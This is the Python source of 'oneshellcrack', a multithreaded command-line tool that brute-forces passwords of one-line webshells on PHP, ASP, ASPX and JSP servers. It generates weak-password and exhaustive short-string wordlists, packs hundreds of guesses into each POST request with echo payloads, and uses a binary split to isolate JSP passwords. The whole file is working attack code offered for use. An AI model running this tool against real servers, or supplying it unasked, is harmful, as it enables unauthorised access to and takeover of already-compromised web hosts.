#!/usr/bin/env python #-*-coding:UTF-8-*- from __future__ import print_function try: import requests except: raise SystemExit('[Error] Please install "requests": pip install requests') import re, sys, time, signal, argparse, itertools from threading import Thread, BoundedSemaphore, Lock __program__ = 'oneshellcrack' __version__ = '1.0.1' __author__ = 'L' __github__ = 'https://github.com/L-codes/oneshellcrack' headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.26'} attack = True pwd = None lock = Lock() sends = 0 def interrupt_handler(signalnum, frame): raise SystemExit('\n\nInterrupt') def binary_tree_crack(i, args, payload): with lock: print('\n[INFO] password in No.{}, BinaryTree attack...'.format(i)) head = 'z0=UTF-8&z1={L-OneShellCrack}&' pwds = payload.split('&')[2:] while len(pwds) != 1: segmentation = len(pwds) // 2 left_subtree, right_subtree, = pwds[:segmentation], pwds[segmentation:] r = requests.post(args.url, data=head+'&'.join(left_subtree), timeout=args.timeout, headers=headers) pwds = left_subtree if '{L-OneShellCrack}' in r.text else right_subtree return pwds[0][:-2] def crack(i, args, payload): global attack, pwd try: padding = ' ' * 20 for retry_i in range(args.max_retry + 1): try: r = requests.post(args.url, data=payload, timeout=args.timeout, headers=headers) with lock: if retry_i: print('\r[Retry] ({:2.2f}s) Retry the {} time CODE: {} No.{:<4} {}'.format( r.elapsed.total_seconds(), retry_i, r.status_code, i, padding)) else: print('\r[Crack] No.{:<4} ({:2.2f}s) CODE: {} - POST Content-Length: {}{}'.format( i, r.elapsed.total_seconds(), r.status_code, len(payload), padding), end='') if r.status_code != 200: continue if args.shell in ('php', 'asp', 'aspx'): match = re.search(r'l(?P<pwd>.*?)codes', r.text) if match and attack: attack = False pwd = match.group('pwd').replace('=', '&') elif '{L-OneShellCrack}' in r.text and attack: attack = False pwd = binary_tree_crack(i, args, payload) break except Exception as e: with lock: print('\r[Error] ' + str(e).split('(')[0] + ' ' * 40) finally: semaphore.release() def chain_pwd_files(files): for file in files: try: open_args = dict() if sys.version_info.major == 3: open_args = {'errors': 'ignore'} with open(file, **open_args) as f: for line in f: yield line.strip() except Exception as e: print(str(e)) def weak_passwords(nums): default_pwd = '''chopper Cknife cknife abc123 12345 123456 passwd password connect apple banana'''.split() pwds = [default_pwd] litters = 'abcdefghijklmnopqrstuvwxyz0123456789!@#$' for len_pwd in range(1, nums + 1): pwds.append(map(''.join, itertools.product(*((litters, ) * len_pwd)))) return itertools.chain(*pwds) def create_payload(args): max_request = args.max_request context = 'l{1}codes' shell_payload = {'php': '{0}=echo \'' + context + '\';', 'asp': '{0}=Response.Write("' + context + '")', 'aspx': '{0}=Response.Write("' + context + '")', 'jsp': '{0}=L' } template = shell_payload[args.shell] pwds = chain_pwd_files(args.pwd_files) if args.pwd_files else weak_passwords(args.weak_pwd_len) if args.shell == 'php': legal_pwd = re.compile(r'[a-zA-Z0-9!#$()*,\-./:;<>?@\\\[\]^_`{|}~\']+$') elif args.shell == 'jsp': legal_pwd = re.compile(r'[a-zA-Z0-9!#$()*,\-./:;<>?@\\\[\]^_`{|}~\'"]+$') elif args.shell in ('asp', 'aspx'): legal_pwd = re.compile(r'[a-zA-Z0-9!#$()*,\-./:;<>?@\\\[\]^_`{|}~&]+$') legal_pwd_match = legal_pwd.match jsp_head = 'z0=UTF-8&z1={L-OneShellCrack}&' if args.shell == 'jsp' else '' payload = set() counter = 0 for pwd in pwds: if legal_pwd_match(pwd): counter += 1 payload.add(template.format(pwd, pwd.replace('&', '='))) if len(payload) == max_request: if args.shell in ('asp', 'aspx'): payload = set(map(str.lower, payload)) yield jsp_head + '&'.join(payload) payload.clear() if payload: if args.shell in ('asp', 'aspx'): payload = set(map(str.lower, payload)) yield jsp_head + '&'.join(payload) global pwd_total pwd_total = counter def check(url): import socket try: domain = re.search(r'//(.*?)(:\d+)?/', url) host, port = domain.groups() port = int(port[1:]) if port else 80 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) c.settimeout(3) c.connect((host, port)) except: raise SystemExit('[Error] Failed to connect to ' + url) finally: c.close() def commandline(): banner = '''\ ___ ____ _ _ _ ____ _ / _ \ _ __ ___/ ___|| |__ ___| | |/ ___|_ __ __ _ ___| | __ | | | | '_ \ / _ \___ \| '_ \ / _ \ | | | | '__/ _` |/ __| |/ / | |_| | | | | __/___) | | | | __/ | | |___| | | (_| | (__| < \___/|_| |_|\___|____/|_| |_|\___|_|_|\____|_| \__,_|\___|_|\_\\ [ Author {} Version {} ] [ Github ] {} '''.format(__author__, __version__, __github__) print(banner) default_shell_request_num = {'php': 1000, 'asp': 1000, 'aspx': 1000, 'jsp': 4000} parser = argparse.ArgumentParser( formatter_class=argparse.RawTextHelpFormatter, epilog='''\ use examples: python {0} http://localhost/shell.php python {0} http://localhost/shell.jsp -n 1000 -m 300 python {0} http://localhost/shell.asp -p pwd1.lst pwd2.lst'''.format(__program__ + '.py')) parser.add_argument('-m', '--max-threads', default=200, type=int, dest='max_threads', metavar='', help='specify max threads [default: %(default)d]') parser.add_argument('-n', '--number', default=0, type=int, dest='max_request', metavar='', help='specify max password request [default: auto]') parser.add_argument('-r', '--retry-nums', default=1, type=int, dest='max_retry', metavar='', help='specify max retry request [default: %(default)d]') parser.add_argument('-s', '--shell', dest='shell', metavar='', choices=['php', 'asp', 'aspx', 'jsp'], help='specify webshell type') parser.add_argument('-t', '--timeout', default=8, type=int, dest='timeout', metavar='', help='specify request timeout [default: %(default)d]') parser.add_argument('-w', '--weakpwd-len', default=4, type=int, dest='weak_pwd_len', metavar='', help='specify weak possword lenghts [default: %(default)d]') parser.add_argument('-p', nargs='+', dest='pwd_files', metavar='FILE', help='specify possword files [default: Weak passwords]') parser.add_argument('url', help='Target URL', metavar='URL') args = parser.parse_args() check(args.url) if not args.shell: shell = re.search(r'\.(php|asp|aspx|jsp)$', args.url) if shell: args.shell = shell.group(1) else: raise SystemExit('[INFO] Please use -s shell_type') if not args.max_request: args.max_request = default_shell_request_num[args.shell] return args def main(): global semaphore, sends signal.signal(signal.SIGINT, interrupt_handler) args = commandline() print(' ( Shell:{shell}, Numbers:{max_request}, Threads:{max_threads}, Retry:{max_retry} )\n'.format(**args.__dict__)) semaphore = BoundedSemaphore(value=args.max_threads) stopwatch_start = time.time() for i, payload in enumerate(create_payload(args), 1): if attack: sends = i semaphore.acquire() t = Thread(target=crack, args=(i, args, payload)) t.setDaemon(True) t.start() for _ in range(args.max_threads): semaphore.acquire() stopwatch = time.time() - stopwatch_start words = args.max_request * sends if sends else pwd_total speed = words / stopwatch if stopwatch else 0 msg = '[Success] Password: {}'.format(pwd) if pwd else '[Failed] No password found' print('\n\n{msg}\n[Finish] {words} words in {stopwatch:.3f} seconds. ({speed:.0f} w/s)'.format(**locals())) if __name__ == '__main__': main()